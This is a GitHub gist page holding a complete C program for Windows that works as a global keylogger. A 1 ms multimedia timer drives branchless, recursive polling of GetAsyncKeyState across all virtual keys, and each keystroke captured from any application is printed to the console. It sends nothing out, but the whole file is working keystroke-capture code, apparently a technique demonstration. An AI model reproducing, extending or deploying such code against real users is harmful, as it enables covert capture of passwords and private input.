Created
January 16, 2025 12:03
-
-
Save x86matthew/acab3d1f56789870267c78b3c1973dfa to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <windows.h> | |
#pragma comment(lib, "winmm.lib") | |
void Nothing(WORD wKey) | |
{ | |
} | |
void PrintKey(WORD wKey) | |
{ | |
BYTE bKeyboardState[256] = { 0 }; | |
WORD wCharacter; | |
bKeyboardState[VK_SHIFT] = (BYTE)((GetAsyncKeyState(VK_SHIFT) & 0x8000) >> 8); | |
bKeyboardState[VK_CAPITAL] = (BYTE)GetKeyState(VK_CAPITAL); | |
printf("%.*s", ToAscii(wKey, 0, bKeyboardState, &wCharacter, 0) & 1, (char*)&wCharacter); | |
} | |
void CheckNextKey(WORD wKey) | |
{ | |
void (*pFuncTable1[])(WORD) = { Nothing, PrintKey }; | |
void (*pFuncTable2[])(WORD) = { CheckNextKey, Nothing }; | |
pFuncTable1[GetAsyncKeyState(wKey) & 1](wKey); | |
wKey++; | |
pFuncTable2[wKey >> 8](wKey); | |
} | |
void CALLBACK TimerCallback(UINT uTimerID, UINT uMsg, DWORD_PTR dwUser, DWORD_PTR dw1, DWORD_PTR dw2) | |
{ | |
CheckNextKey(0); | |
} | |
int main() | |
{ | |
timeSetEvent(1, 1, TimerCallback, 0, TIME_PERIODIC); | |
WaitForSingleObject(GetCurrentProcess(), INFINITE); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment